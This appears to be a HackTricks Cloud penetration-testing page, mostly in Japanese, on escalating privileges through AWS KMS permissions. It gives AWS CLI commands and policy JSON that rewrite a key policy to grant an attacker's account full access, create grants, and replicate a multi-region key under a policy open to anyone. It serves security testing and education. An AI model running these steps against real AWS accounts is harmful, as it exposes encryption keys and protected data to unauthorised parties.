Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc

AWS - KMS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

KMS

KMSの詳細については次を参照してください

{{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}}

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

これらの権限があれば、キーのアクセス許可を変更することで、他のアカウントや、場合によっては誰でも使用できるようにできます:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

これはプリンシパルがKMSキーを使用することを許可します

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Warning

A grant は特定の種類の操作のみを許可できます: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

[!WARNING] grant が生成された後、KMS が ユーザーがキーを使用できるようにするまでに数分かかることがある ことに注意してください。 その時間が経過すると、principal は何も指定せずに KMS key を使用できます。
ただし、grant をすぐに使用する必要がある場合は use a grant token(以下のコードを確認してください)。
For more info read this.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-key-spec AES_256 \
--grant-tokens $token

次のようにキーのグラントを一覧表示できることに注意してください:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

これらの権限があれば、マルチリージョン対応の KMS key を別リージョンに異なるポリシーで複製することが可能です。

したがって、攻撃者はこれを悪用して privesc によりキーへのアクセス権を取得し、それを利用できます。

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

この権限は、キーを使用して情報を decrypt することを許可します。
詳細は次を参照してください:

{{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}